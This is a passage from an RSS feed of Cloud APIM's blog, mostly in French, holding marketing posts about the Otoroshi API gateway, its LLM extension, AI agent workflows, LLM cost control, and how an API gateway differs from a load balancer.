Ces intelligences capables non seulement de...]]></description><link>https://blog.cloud-apim.com/les-agents-ia-arrivent-dans-otoroshi</link><guid isPermaLink="true">https://blog.cloud-apim.com/les-agents-ia-arrivent-dans-otoroshi</guid><category><![CDATA[otoroshi]]></category><category><![CDATA[otoroshi llm extension]]></category><category><![CDATA[agentic AI]]></category><category><![CDATA[ai agents]]></category><category><![CDATA[workflow]]></category><category><![CDATA[Workflow Automation]]></category><dc:creator><![CDATA[Thomas Delafaye]]></dc:creator><pubDate>Thu, 16 Oct 2025 14:13:16 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1760613205645/6e58021e-0e19-4991-bf6c-5ad4d64fa5c6.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h3 id="heading-le-monde-des-agents-ia">Le monde des agents IA</h3>
<p>Depuis quelques mois, tout le monde parle d’<strong>agents IA</strong>, à toutes les sauces ! Une sorte de machine à tout faire et une super intelligence interconnectée à tous nos outils du quotidien.</p>
<p>Ces intelligences capables non seulement de comprendre et de répondre, mais aussi d’<strong>agir</strong>.<br />Des IA capables de prendre des décisions, d’appeler des outils, d’exécuter des tâches et de collaborer entre elles.</p>
<p>Mais une question se posait encore : <strong>Comment les créer, les gouverner et les connecter à nos systèmes réels ?</strong></p>
<p>C’est précisément ce qu’apporte aujourd’hui <a target="_blank" href="https://www.otoroshi.io/"><strong>Otoroshi</strong></a>, la passerelle API <a target="_blank" href="https://github.com/MAIF/otoroshi">open source</a>, avec sa <strong>nouvelle interface dédiée aux</strong> <a target="_blank" href="https://maif.github.io/otoroshi/manual/topics/workflows.html"><strong>workflows</strong></a> <strong>et aux agents IA</strong>.</p>
<h3 id="heading-une-passerelle-qui-souvre-a-de-nouveaux-usages">Une passerelle qui s’ouvre à de nouveaux usages</h3>
<p>Jusqu’ici, Otoroshi était déjà reconnu comme un <strong>chef d’orchestre des API</strong> : un point central qui sécurise, surveille et optimise les échanges entre services.<br />Mais avec l’arrivée de son <a target="_blank" href="https://cloud-apim.github.io/otoroshi-llm-extension/"><strong>extension LLM</strong></a> <strong>et de l’interface visuelle de workflows</strong>, Otoroshi franchit un cap.</p>
<p>Il ne se contente plus de faire transiter des requêtes.<br />Il <strong>pense</strong>, <strong>décide</strong>, <strong>agit</strong> et permet à chacun de <strong>concevoir ses propres agents IA</strong> sans écrire une ligne de code.</p>
<h3 id="heading-creez-vos-propres-workflows-ia">Créez vos propres workflows IA</h3>
<p>Grâce à la nouvelle interface de conception visuelle, Otoroshi permet désormais de <strong>dessiner des workflows intelligents</strong> en quelques clics.</p>
<p>Imaginez un <strong>canvas</strong> sur lequel vous pouvez :</p>
<ul>
<li><p>Relier des <strong>blocs logiques</strong> : décisions, conditions, boucles, actions.</p>
</li>
<li><p>Connecter des <strong>fonctions avancées</strong> :</p>
<ul>
<li><p>appels à des modèles de langage (LLM),</p>
</li>
<li><p>appels HTTP vers vos APIs,</p>
</li>
<li><p>outils externes,</p>
</li>
<li><p>fonctions internes (calculs, filtres, conversions, etc.).</p>
</li>
</ul>
</li>
<li><p>Ajouter des capacités multimodales : <strong>voix, texte, image, vidéo</strong>, etc.</p>
</li>
<li><p>Et surtout, donner à ces workflows une <strong>intelligence adaptative</strong> grâce aux agents IA intégrés.</p>
</li>
</ul>
<p>C’est une nouvelle façon de créer : non plus en écrivant du code, mais en <strong>composant une logique intelligente</strong>, visuellement.</p>
<hr />
<h3 id="heading-les-agents-ia-made-by-otoroshi-llm">Les agents IA made by Otoroshi LLM</h3>
<p>Un <strong>agent IA</strong> dans Otoroshi, c’est plus qu’un <strong>chatbot</strong>.<br />C’est une <strong>entité</strong> capable de :</p>
<ul>
<li><p><strong>Recevoir une intention</strong> (par texte, voix, événement, API).</p>
</li>
<li><p><strong>Analyser le contexte</strong> grâce à sa mémoire et à ses modèles d’intelligence.</p>
</li>
<li><p><strong>Choisir une action</strong> : appeler un service, générer une image, déclencher un scénario.</p>
</li>
<li><p><strong>Apprendre et s’adapter</strong> au fil des interactions.</p>
</li>
<li><p><strong>Respecter vos règles métiers</strong> et vos garde-fous de sécurité.</p>
</li>
</ul>
<p>Et surtout, ces agents peuvent être <strong>orchestrés</strong> dans un workflow :<br />plusieurs agents qui collaborent, se transmettent des tâches, se corrigent ou se complètent.</p>
<blockquote>
<p>🧩 Vous pouvez littéralement créer un écosystème d’agents IA reliés à vos systèmes d’entreprise.</p>
</blockquote>
<h3 id="heading-une-interface-pensee-pour-la-creativite-et-la-maitrise">Une interface pensée pour la créativité et la maîtrise</h3>
<p>Otoroshi offre désormais une <strong>interface utilisateur complète</strong> pour gérer :</p>
<ul>
<li><p>🔹 <strong>Les Workflows IA</strong> — conception visuelle, déclencheurs, logique, conditions.</p>
</li>
<li><p>🔹 <strong>Les Agents IA</strong> — personnalité, rôle, mémoire, accès, outils autorisés.</p>
</li>
<li><p>🔹 <strong>Les Intégrations</strong> — appels HTTP, fonctions internes, outils métiers, IA externes.</p>
</li>
<li><p>🔹 <strong>Les Règles et garde-fous</strong> — modération, validation, supervision des actions.</p>
</li>
</ul>
<p>Le tout dans une interface fluide, visuelle, et gouvernée comme une architecture d’entreprise.<br />Autrement dit : <strong>la puissance du no-code avec la rigueur du DevOps</strong>.</p>
<hr />
<h3 id="heading-ce-que-cela-rend-possible">Ce que cela rend possible</h3>
<p>Avec Otoroshi et son <a target="_blank" href="https://github.com/cloud-apim/otoroshi-llm-extension">extension LLM</a>, <strong>tout devient orchestrable</strong>.<br />Voici quelques exemples concrets :</p>
<ul>
<li><p><strong>Un agent support client</strong> qui comprend une demande, consulte la base documentaire, crée un ticket et envoie un message vocal de confirmation.</p>
</li>
<li><p><strong>Un assistant RH</strong> qui analyse des candidatures, rédige un résumé et planifie un entretien.</p>
</li>
<li><p><strong>Un orchestrateur marketing</strong> qui génère un texte, une image et une vidéo pour une campagne, tout en respectant la charte de marque.</p>
</li>
<li><p><strong>Un superviseur IT</strong> qui surveille les logs, détecte une anomalie et prévient automatiquement l’équipe.</p>
</li>
<li><p><strong>Un coach digital</strong> qui apprend des interactions passées pour proposer des recommandations toujours plus précises.</p>
</li>
</ul>
<p>Et tout cela, sans code, depuis une <strong>interface unifiée et sécurisée</strong>.</p>
<h3 id="heading-une-intelligence-sous-controle">Une intelligence sous contrôle</h3>
<p>Ce qui rend cette évolution unique, c’est que l’intelligence artificielle ne s’échappe pas du cadre.<br />Elle est <strong>orchestrée, auditable et maîtrisée</strong>.</p>
<p>Chaque action, chaque décision, chaque interaction est enregistrée et gouvernée via Otoroshi.<br />Les agents ne font rien “dans le vide” : ils agissent <strong>dans les limites que vous définissez</strong>.</p>
<p>C’est la différence entre une IA puissante et une IA fiable.</p>
<h3 id="heading-une-revolution-dans-la-maniere-de-concevoir-lintelligence">Une révolution dans la manière de concevoir l’intelligence</h3>
<p>Otoroshi n’est plus seulement une passerelle entre les systèmes.<br />C’est désormais <strong>un orchestrateur d’intelligences</strong>.</p>
<p>Les entreprises peuvent :</p>
<ul>
<li><p>Créer leurs propres agents IA,</p>
</li>
<li><p>Dessiner leurs workflows intelligents,</p>
</li>
<li><p>Connecter leurs outils et services existants,</p>
</li>
<li><p>Et tout piloter depuis une interface visuelle.</p>
</li>
</ul>
<p>C’est une <strong>nouvelle façon de concevoir la transformation numérique</strong> :<br />plus intuitive, plus agile, plus intelligente.</p>
<h3 id="heading-en-resume">✨ En résumé</h3>
<p>Otoroshi + Extension LLM, c’est :</p>
<blockquote>
<p>🧠 Des <strong>agents IA personnalisables</strong>, capables d’agir et de raisonner.<br />🔄 Une <strong>interface visuelle</strong> pour créer des workflows intelligents sans coder.<br />🌐 Une <strong>intégration fluide</strong> avec tous vos outils et services.<br />🔒 Une <strong>gouvernance complète</strong> : sécurité, audit, conformité.<br />🚀 Une <strong>plateforme prête pour l’avenir</strong> des systèmes autonomes et collaboratifs.</p>
</blockquote>
<p>📬 <strong>Restez informé</strong><br />Abonnez-vous à notre blog pour suivre les nouveautés, astuces, et bonnes pratiques autour de nos solutions.</p>
<hr />
<h2 id="heading-a-propos-de-cloud-apim">🏢 À propos de Cloud APIM</h2>
<p><a target="_blank" href="https://www.cloud-apim.com/fr"><strong>Cloud APIM</strong></a> est un fournisseur de solutions de gestion d’API de nouvelle génération. Nous aidons les entreprises à exploiter tout le potentiel de leurs APIs grâce à des offres <a target="_blank" href="https://www.cloud-apim.com/fr/otoroshi-managed"><strong>managées</strong></a><strong>, performantes et prêtes à l’emploi</strong>.</p>
<p>Nos produits innovants incluent :</p>
<ul>
<li><p><a target="_blank" href="https://www.cloud-apim.com/fr/otoroshi-managed"><strong>Otoroshi Managed Instances</strong></a> : Instances Otoroshi gérées, configurées et prêtes en quelques secondes</p>
</li>
<li><p><a target="_blank" href="https://www.cloud-apim.com/fr/serverless"><strong>Serverless avec GitOps</strong></a> : Déploiements scalables sans gestion d'infrastructure</p>
</li>
<li><p><a target="_blank" href="https://www.cloud-apim.com/fr/authify"><strong>Authify</strong></a> : Authentification rapide et sécurisée pour vos APIs</p>
</li>
</ul>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1717164622893/4c55fd90-812f-4369-9d80-03faeeb5158f.png" alt class="image--center mx-auto" /></p>
]]></content:encoded></item><item><title><![CDATA[API Gateway vs Load Balancer : quelles différences et quel choix pour votre architecture ?]]></title><description><![CDATA[Dans le monde de l’architecture cloud moderne, deux termes reviennent souvent lorsqu’il s’agit de gestion du trafic applicatif : API Gateway et Load Balancer.
Bien qu’ils puissent sembler similaires, leurs rôles sont bien distincts.
Savoir faire la d...]]></description><link>https://blog.cloud-apim.com/api-gateway-vs-load-balancer</link><guid isPermaLink="true">https://blog.cloud-apim.com/api-gateway-vs-load-balancer</guid><category><![CDATA[API Gateway]]></category><category><![CDATA[Load Balancer]]></category><category><![CDATA[otoroshi]]></category><category><![CDATA[Reverse Proxy]]></category><dc:creator><![CDATA[Thomas Delafaye]]></dc:creator><pubDate>Tue, 08 Jul 2025 08:20:51 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1751636324190/4a654ea2-3356-48d7-9969-8cfd9fd19036.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Dans le monde de l’<strong>architecture cloud moderne</strong>, deux termes reviennent souvent lorsqu’il s’agit de gestion du trafic applicatif : <strong>API Gateway</strong> et <strong>Load Balancer</strong>.</p>
<p>Bien qu’ils puissent sembler similaires, leurs rôles sont bien distincts.</p>
<p>Savoir faire la différence entre ces deux composants est essentiel pour construire une infrastructure performante, sécurisée et scalable.</p>
<p>Dans cet article, nous allons :</p>
<ul>
<li><p>Définir ce qu’est un Load Balancer</p>
</li>
<li><p>Expliquer le rôle d’une API Gateway</p>
</li>
<li><p>Comparer leurs cas d’usage</p>
</li>
<li><p>Et enfin, vous guider dans le choix de la bonne solution selon vos besoins</p>
</li>
</ul>
<hr />
<h2 id="heading-quest-ce-quun-load-balancer">Qu’est-ce qu’un Load Balancer ?</h2>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1751636170681/1825fbbc-0228-4065-8c5d-e71d40a2b097.png" alt class="image--center mx-auto" /></p>
<p>Un <strong>Load Balancer</strong> (ou <strong>répartiteur de charge</strong>) est un composant réseau qui distribue automatiquement le trafic entrant entre plusieurs serveurs ou instances d’un même service.</p>
<p>Il agit principalement au niveau de la couche 4 (transport) ou 7 (application) du modèle OSI.</p>
<h3 id="heading-objectifs-principaux">Objectifs principaux :</h3>
<ul>
<li><p>Répartition du trafic pour éviter la surcharge d’un seul serveur</p>
</li>
<li><p>Haute disponibilité et tolérance aux pannes</p>
</li>
<li><p>Amélioration des performances globales</p>
</li>
</ul>
<h3 id="heading-exemple-dusage">Exemple d’usage :</h3>
<p>Un site web très visité peut utiliser un Load Balancer pour répartir les requêtes HTTP entre plusieurs serveurs web (ex : Nginx, Apache).</p>
<hr />
<h2 id="heading-quest-ce-quune-api-gateway">Qu’est-ce qu’une API Gateway ?</h2>
<p>Une <strong>API Gateway</strong> est bien plus qu’un répartiteur de trafic.</p>
<p>Elle est conçue pour gérer les appels aux <strong>API</strong> (interfaces de programmation), en assurant leur <strong>sécurité, gouvernance et orchestration</strong>.</p>
<p>Elle se situe entre les clients (applications, mobiles, partenaires...) et vos services backend (microservices, bases de données, etc.).</p>
<h3 id="heading-fonctionnalites-cles-dune-api-gateway">Fonctionnalités clés d’une API Gateway :</h3>
<ul>
<li><p><strong>Authentification &amp; Autorisation</strong> (OAuth2, JWT)</p>
</li>
<li><p><strong>Rate Limiting</strong> (limitation de débit)</p>
</li>
<li><p><strong>Transformation de requêtes et de réponses</strong></p>
</li>
<li><p><strong>Routage intelligent</strong> (en fonction des versions, headers, payload…)</p>
</li>
<li><p><strong>Monitoring &amp; Logs</strong></p>
</li>
<li><p><strong>Gestion du cycle de vie des API</strong></p>
</li>
</ul>
<h3 id="heading-exemple-dusage-1">Exemple d’usage :</h3>
<p>Une entreprise expose ses services métier (stock, commande, paiement) via des APIs.</p>
<p>L’API Gateway centralise tous les appels, applique des règles de sécurité, trace les appels et permet une gouvernance globale.</p>
<hr />
<h2 id="heading-load-balancer-vs-api-gateway-le-comparatif">Load Balancer vs API Gateway : le comparatif</h2>
<div class="hn-table">
<table>
<thead>
<tr>
<td>Fonctionnalité</td><td>Load Balancer</td><td>API Gateway</td></tr>
</thead>
<tbody>
<tr>
<td>Répartition du trafic</td><td>✅ Oui</td><td>✅ Oui (avec logique applicative)</td></tr>
<tr>
<td>Authentification</td><td>❌ Non</td><td>✅ Oui</td></tr>
<tr>
<td>Sécurité des API</td><td>❌ Non</td><td>✅ Oui (WAF, TLS, etc.)</td></tr>
<tr>
<td>Transformation JSON/XML</td><td>❌ Non</td><td>✅ Oui</td></tr>
<tr>
<td>Limitation de débit</td><td>❌ Non</td><td>✅ Oui</td></tr>
<tr>
<td>Monitoring des appels API</td><td>❌ Basique</td><td>✅ Avancé</td></tr>
<tr>
<td>Gouvernance des API</td><td>❌ Non</td><td>✅ Oui</td></tr>
</tbody>
</table>
</div><hr />
<h2 id="heading-quelle-solution-choisir-pour-votre-infrastructure">Quelle solution choisir pour votre infrastructure ?</h2>
<ul>
<li><p>Si votre objectif est uniquement de <strong>répartir du trafic entre plusieurs serveurs</strong> pour garantir la disponibilité, le <strong>Load Balancer</strong> suffit.</p>
</li>
<li><p>En revanche, si vous souhaitez <strong>exposer, sécuriser, versionner et piloter des API</strong> pour des applications internes ou externes, l’<strong>API Gateway est indispensable</strong>.</p>
</li>
</ul>
<p>En réalité, ces deux outils sont <strong>complémentaires</strong>. Une architecture moderne utilise souvent <strong>un Load Balancer en frontal</strong>, qui dirige le trafic HTTP vers une <strong>API Gateway</strong>, elle-même chargée de gérer les API et de router vers les bons services.</p>
<hr />
<h2 id="heading-pourquoi-choisir-une-solution-de-gestion-dapi-dans-le-cloud">Pourquoi choisir une solution de gestion d’API dans le cloud ?</h2>
<p>Les API sont aujourd’hui au cœur de la transformation digitale. Pour les entreprises, <strong>l’externalisation de la gestion des API via une plateforme cloud</strong> permet de :</p>
<ul>
<li><p>Gagner du temps dans la mise en production</p>
</li>
<li><p>Profiter d’un hébergement sécurisé et scalable</p>
</li>
<li><p>Suivre les performances et les usages via des dashboards avancés</p>
</li>
<li><p>Intégrer facilement des outils d’authentification (SSO, tokens, etc.)</p>
</li>
</ul>
<hr />
<h2 id="heading-cloud-apim-la-plateforme-francaise-de-gestion-dapi-cloud">Cloud-APIM : la plateforme française de gestion d’API cloud</h2>
<p>Chez <a target="_blank" href="https://www.cloud-apim.com/fr">Cloud-APIM</a>, nous aidons les entreprises à <strong>exposer, sécuriser et superviser leurs API</strong> à travers une solution complète d’<strong>API Management en mode SaaS ou cloud privé</strong>.</p>
<p>Nos atouts :</p>
<ul>
<li><p>Hébergement <strong>souverain en France</strong> 🇫🇷</p>
</li>
<li><p><strong>Portail développeur personnalisable</strong></p>
</li>
<li><p>Sécurité avancée (TLS, OAuth2, WAF)</p>
</li>
<li><p>Support entreprise &amp; accompagnement technique</p>
</li>
</ul>
<hr />
<h3 id="heading-en-resume">En résumé :</h3>
<ul>
<li><p>Le <strong>Load Balancer</strong> répartit le trafic,</p>
</li>
<li><p>L’<strong>API Gateway</strong> gouverne, sécurise et trace les appels APIs</p>
</li>
<li><p>Les deux peuvent (et doivent souvent) être utilisés ensemble.</p>
</li>
</ul>
<p>➡️ Prêt à structurer votre stratégie API ? Testez dès maintenant notre plateforme sur <a target="_blank" href="https://www.cloud-apim.com/fr">cloud-apim.com</a> ou contactez nos experts pour une démonstration.</p>
]]></content:encoded></item><item><title><![CDATA[Maîtriser les coûts de l’IA générative en entreprise grâce à Otoroshi LLM Extension]]></title><description><![CDATA[L’intelligence artificielle générative (IA générative) révolutionne l’entreprise : assistants intelligents, automatisation, génération de contenus… les cas d’usage explosent.
Mais avec cette adoption croissante vient une problématique majeure : la ge...]]></description><link>https://blog.cloud-apim.com/optimisation-couts-ia-generative-entreprise</link><guid isPermaLink="true">https://blog.cloud-apim.com/optimisation-couts-ia-generative-entreprise</guid><category><![CDATA[otoroshi]]></category><category><![CDATA[llm]]></category><category><![CDATA[otoroshi llm extension]]></category><category><![CDATA[Cloud APIM]]></category><category><![CDATA[API Management]]></category><category><![CDATA[AI]]></category><category><![CDATA[#ai-tools]]></category><dc:creator><![CDATA[Thomas Delafaye]]></dc:creator><pubDate>Thu, 03 Jul 2025 14:52:56 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1751534912813/e1c298f3-625d-47ef-a69f-f957ece6874a.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>L’intelligence artificielle générative (IA générative) révolutionne l’entreprise : assistants intelligents, automatisation, génération de contenus… les cas d’usage explosent.</p>
<p>Mais avec cette adoption croissante vient une problématique majeure : <strong>la gestion des coûts d’utilisation des modèles de langage (LLM)</strong> comme <a target="_blank" href="https://chatgpt.com">ChatGPT</a>, <a target="_blank" href="https://claude.ai">Claude</a> ou <a target="_blank" href="https://mistral.ai/fr">Mistral</a>.</p>
<p>De nombreuses entreprises se retrouvent face à une <strong>facture qui grimpe</strong> sans contrôle réel, à cause d’un usage intensif, mal encadré ou dispersé dans les équipes.</p>
<p>C’est précisément pour répondre à ce besoin que nous avons conçu <a target="_blank" href="https://cloud-apim.github.io/otoroshi-llm-extension/"><strong>Otoroshi LLM Extension</strong></a> : une solution pour <strong>reprendre la maîtrise des coûts liés à l’IA en entreprise</strong>, sans sacrifier l’innovation.</p>
<h2 id="heading-pourquoi-surveiller-et-optimiser-lusage-des-llms-en-entreprise">Pourquoi surveiller et optimiser l’usage des LLMs en entreprise ?</h2>
<p>Voici ce que nous observons sur le terrain :</p>
<ul>
<li><p>Les coûts mensuels liés aux LLMs explosent avec l’usage croissant (notamment GPT-4).</p>
</li>
<li><p>Le <strong>manque de visibilité</strong> sur qui utilise quoi, comment et à quel prix.</p>
</li>
<li><p>L’absence de <strong>quotas ou règles</strong> d’usage pour les collaborateurs.</p>
</li>
<li><p>Aucune distinction entre les tâches simples (qui pourraient utiliser un modèle gratuit ou local) et les tâches complexes.</p>
</li>
</ul>
<blockquote>
<p>💡 Résultat : une <strong>perte de contrôle budgétaire</strong>, un <strong>risque de surconsommation</strong> et des <strong>dépenses injustifiées</strong>.</p>
</blockquote>
<h2 id="heading-otoroshi-llm-extension-la-solution-pour-maitriser-les-couts-dia">Otoroshi LLM Extension : la solution pour maîtriser les coûts d’IA</h2>
<p><strong>Otoroshi LLM Extension</strong> est une surcouche stratégique qui agit comme <strong>un point d’entrée unique pour tous les usages IA dans votre entreprise</strong>.</p>
<p>Elle vous permet de <strong>surveiller, sécuriser et piloter l’usage des LLMs</strong>, tout en <strong>réduisant significativement les coûts</strong>.</p>
<h3 id="heading-reduction-automatique-des-appels-llm-grace-au-cache-intelligent">Réduction automatique des appels LLM grâce au <strong>cache intelligent</strong></h3>
<p>De nombreuses requêtes sont répétitives (même question, même contexte).</p>
<p>Plutôt que de repayer à chaque fois, <a target="_blank" href="https://cloud-apim.github.io/otoroshi-llm-extension/">Otoroshi LLM Extension</a> <strong>réutilise les réponses précédentes</strong>.</p>
<ul>
<li><p>Mise en cache configurable basée sur les prompts</p>
</li>
<li><p>Réponses stockées temporairement pour éviter des appels facturés inutilement</p>
</li>
<li><p>Idéal pour les assistants internes ou FAQ automatisées</p>
</li>
</ul>
<p>🎯 <strong>Impact : jusqu’à 50 % de réduction sur le volume de requêtes facturées</strong></p>
<h3 id="heading-routage-intelligent-vers-le-bon-modele-au-bon-moment"><strong>Routage intelligent</strong> vers le bon modèle au bon moment</h3>
<p>Tous les cas d’usage ne nécessitent pas GPT-4.</p>
<ul>
<li><p>Pour les tâches simples : <strong>modèles open source hébergés en interne</strong></p>
</li>
<li><p>Pour les cas complexes : fallback vers des modèles performants (GPT, Claude)</p>
</li>
<li><p>Possibilité de créer des <strong>règles personnalisées</strong> selon le type de requête ou l’utilisateur</p>
</li>
</ul>
<p>🎯 <strong>Impact : usage optimisé, facture allégée</strong></p>
<h3 id="heading-gestion-des-acces-quotas-et-budgets-par-equipe-ou-service"><strong>Gestion des accès, quotas et budgets</strong> par équipe ou service</h3>
<p>Contrôlez qui a accès à l’IA, combien de requêtes sont autorisées, et suivez les budgets.</p>
<ul>
<li><p>Mise en place de <strong>plafonds de consommation</strong> (nombre de requêtes ou coût)</p>
</li>
<li><p>Attribution de clés API par utilisateur ou service</p>
</li>
<li><p>Application de politiques de gouvernance IA</p>
</li>
</ul>
<p>🎯 <strong>Impact : fin des dérives de consommation, usage aligné avec la stratégie</strong></p>
<h3 id="heading-tableaux-de-bord-clairs-pour-une-meilleure-gouvernance"><strong>Tableaux de bord clairs</strong> pour une meilleure gouvernance</h3>
<p>Vous ne pouvez optimiser que ce que vous mesurez.</p>
<ul>
<li><p>Visualisation de l’usage LLM par département, utilisateur ou projet</p>
</li>
<li><p>Estimation en temps réel des coûts (par token ou modèle)</p>
</li>
<li><p>Export et reporting pour les DSI et services achats</p>
</li>
</ul>
<p>🎯 <strong>Impact : pilotage budgétaire fiable et décisionnel</strong></p>
<h3 id="heading-reecriture-automatique-des-prompts-pour-reduire-les-tokens-utilises"><strong>Réécriture automatique des prompts</strong> pour réduire les tokens utilisés</h3>
<p>Certains prompts sont inutilement longs ou mal formulés.</p>
<p><a target="_blank" href="https://www.otoroshi.io/">Otoroshi</a> peut les <strong>simplifier ou optimiser automatiquement</strong> avant envoi.</p>
<ul>
<li><p>Suppression des redondances</p>
</li>
<li><p>Optimisation sémantique pour limiter les tokens</p>
</li>
<li><p>Résultats identiques, coût réduit</p>
</li>
</ul>
<p>🎯 <strong>Impact : réduction directe de la consommation de tokens facturés</strong></p>
<h2 id="heading-securite-et-conformite-integrees">Sécurité et conformité intégrées</h2>
<p>En centralisant tous les appels IA :</p>
<ul>
<li><p>Vous <strong>bloquez les usages non autorisés</strong></p>
</li>
<li><p>Vous évitez les fuites de données sensibles</p>
</li>
<li><p>Vous renforcez la conformité RGPD et sécurité interne</p>
</li>
</ul>
<h2 id="heading-une-innovation-maitrisee-budget-sous-controle">Une innovation maîtrisée, budget sous contrôle</h2>
<p>Adopter l’IA générative ne doit pas rimer avec <strong>perte de contrôle budgétaire</strong>.</p>
<p>Avec <strong>Otoroshi LLM Extension</strong>, vous offrez à vos équipes un <strong>cadre sécurisé et intelligent pour l’usage des LLMs</strong>, tout en <strong>maximisant le retour sur investissement</strong>.</p>
<h2 id="heading-pret-a-reprendre-la-main-sur-vos-couts-ia">🚀 Prêt à reprendre la main sur vos coûts IA ?</h2>
<p>🔗 <a target="_blank" href="https://cloud-apim.github.io/otoroshi-llm-extension/docs/overview">Découvrez la documentation officielle</a>  </p>
<p>📬 <strong>Restez informé</strong><br />Abonnez-vous à notre blog pour suivre les nouveautés, astuces, et bonnes pratiques autour de nos solutions.</p>
<hr />
<h2 id="heading-a-propos-de-cloud-apim">🏢 À propos de Cloud APIM</h2>
<p><a target="_blank" href="https://www.cloud-apim.com/fr"><strong>Cloud APIM</strong></a> est un fournisseur de solutions de gestion d’API de nouvelle génération. Nous aidons les entreprises à exploiter tout le potentiel de leurs APIs grâce à des offres <a target="_blank" href="https://www.cloud-apim.com/fr/otoroshi-managed"><strong>managées</strong></a><strong>, performantes et prêtes à l’emploi</strong>.</p>
<p>Nos produits innovants incluent :</p>
<ul>
<li><p><a target="_blank" href="https://www.cloud-apim.com/fr/otoroshi-managed"><strong>Otoroshi Managed Instances</strong></a> : Instances Otoroshi gérées, configurées et prêtes en quelques secondes</p>
</li>
<li><p><a target="_blank" href="https://www.cloud-apim.com/fr/serverless"><strong>Serverless avec GitOps</strong></a> : Déploiements scalables sans gestion d'infrastructure</p>
</li>
<li><p><a target="_blank" href="https://www.cloud-apim.com/fr/authify"><strong>Authify</strong></a> : Authentification rapide et sécurisée pour vos APIs</p>
</li>
</ul>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1717164622893/4c55fd90-812f-4369-9d80-03faeeb5158f.png" alt class="image--center mx-auto" /></p>
]]></content:encoded></item><item><title><![CDATA[Introducing the Otoroshi LLM Extension by Cloud APIM]]></title><description><![CDATA[🔍 What Is the Otoroshi LLM Extension?
The Otoroshi LLM Extension by Cloud APIM is a groundbreaking module that enhances the capabilities of the open-source API Gateway Otoroshi, turning it into a powerful AI Gateway.
It enables a complete integratio...]]></description><link>https://blog.cloud-apim.com/introducing-the-otoroshi-llm-extension-by-cloud-apim</link><guid isPermaLink="true">https://blog.cloud-apim.com/introducing-the-otoroshi-llm-extension-by-cloud-apim</guid><category><![CDATA[otoroshi llm]]></category><category><![CDATA[otoroshi]]></category><category><![CDATA[llm]]></category><category><![CDATA[ai gateway]]></category><category><![CDATA[Cloud APIM]]></category><dc:creator><![CDATA[Thomas Delafaye]]></dc:creator><pubDate>Mon, 30 Jun 2025 07:51:43 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1751017930896/4a0af05b-6ef3-4108-9dad-27db168a5fc5.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h2 id="heading-what-is-the-otoroshi-llm-extension">🔍 What Is the Otoroshi LLM Extension?</h2>
<p>The <strong>Otoroshi LLM Extension</strong> by <a target="_blank" href="https://www.cloud-apim.com"><strong>Cloud APIM</strong></a> is a groundbreaking module that enhances the capabilities of the <a target="_blank" href="https://github.com/MAIF/otoroshi">open-source API Gateway <strong>Otoroshi</strong>,</a> turning it into a powerful <strong>AI Gateway</strong>.</p>
<p>It enables a complete integration with leading <strong>large language model (LLM)</strong> providers such as <a target="_blank" href="https://cloud-apim.github.io/otoroshi-llm-extension/docs/llm-gateway/providers"><strong>OpenAI, Mistral, Anthropic, Azure, Hugging Face</strong></a>, and much more providers : all through a unified API.</p>
<p>This innovation brings <strong>AI-native API management</strong> to the forefront, letting companies integrate conversational AI, generative models, and intelligent services directly into their infrastructure.</p>
<hr />
<h2 id="heading-best-features-from-the-otoroshi-llm-extension">Best features from the Otoroshi LLM Extension</h2>
<h3 id="heading-multi-provider-ai-compatibility">Multi-Provider AI Compatibility</h3>
<p>Easily switch or combine multiple LLMs like <a target="_blank" href="https://cloud-apim.github.io/otoroshi-llm-extension/docs/llm-gateway/providers">GPT from OpenAI, Claude, Mistral</a>, your own internal company models or open-source models via a <strong>single standardized API</strong>.</p>
<p>This reduces vendor lock-in and increases flexibility for <strong>AI workflows</strong>.</p>
<h3 id="heading-advanced-prompt-engineering-amp-controls">Advanced Prompt Engineering &amp; Controls</h3>
<p>Create dynamic prompts using templates, inject real-time context, and enforce <strong>"prompt guardrails"</strong> to sanitize inputs/outputs. Ideal for <strong>data privacy, compliance</strong>, and <strong>response reliability</strong>.</p>
<h3 id="heading-ai-governance-amp-security">AI Governance &amp; Security</h3>
<ul>
<li><p>Per-service and per-user LLM token quotas</p>
</li>
<li><p>Role-based access control and moderation</p>
</li>
<li><p>Full auditing and request tracing</p>
</li>
<li><p>Integration with existing <a target="_blank" href="https://www.otoroshi.io/"><strong>Otoroshi</strong></a> rules for fine-grained <strong>API-level governance</strong></p>
</li>
</ul>
<h3 id="heading-cost-optimization-amp-performance">📊 Cost Optimization &amp; Performance</h3>
<ul>
<li><p>Track <a target="_blank" href="https://cloud-apim.github.io/otoroshi-llm-extension/docs/cost-optimizations/quotas">token usage</a> and cost per LLM request</p>
</li>
<li><p>Use <a target="_blank" href="https://cloud-apim.github.io/otoroshi-llm-extension/docs/cost-optimizations/semantic-cache"><strong>semantic caching</strong></a> to avoid redundant calls</p>
</li>
<li><p>Apply retry policies and load balancing to maintain stability</p>
</li>
</ul>
<hr />
<h2 id="heading-easy-to-install-with-cloud-apim-and-clever-cloud">Easy to install with Cloud APIM and Clever Cloud</h2>
<p>The Otoroshi LLM Extension is fully integrated into <a target="_blank" href="https://www.cloud-apim.com/otoroshi-managed"><strong>Cloud APIM’s managed Otoroshi platform</strong>,</a> available as a <a target="_blank" href="https://www.cloud-apim.com/serverless"><strong>serverless AI Gateway</strong></a>.</p>
<p>Since <strong>December 2024</strong>, it can also be deployed via <a target="_blank" href="https://www.clever-cloud.com/blog/features/2024/12/17/otoroshi-with-llm-simplify-your-api-and-ai-service-management-on-clever-cloud/"><strong>Clever Cloud</strong></a> in just minutes with the “Otoroshi LLM extension” add-on.</p>
<h2 id="heading-use-cases">Use Cases</h2>
<ul>
<li><p><strong>AI-Powered API Workflows</strong>: Centralize prompt routing, response formatting, and LLM usage across multiple APIs.</p>
</li>
<li><p><strong>Secure Chatbots &amp; Agents</strong>: Deploy moderated, auditable conversational agents for support or business operations.</p>
</li>
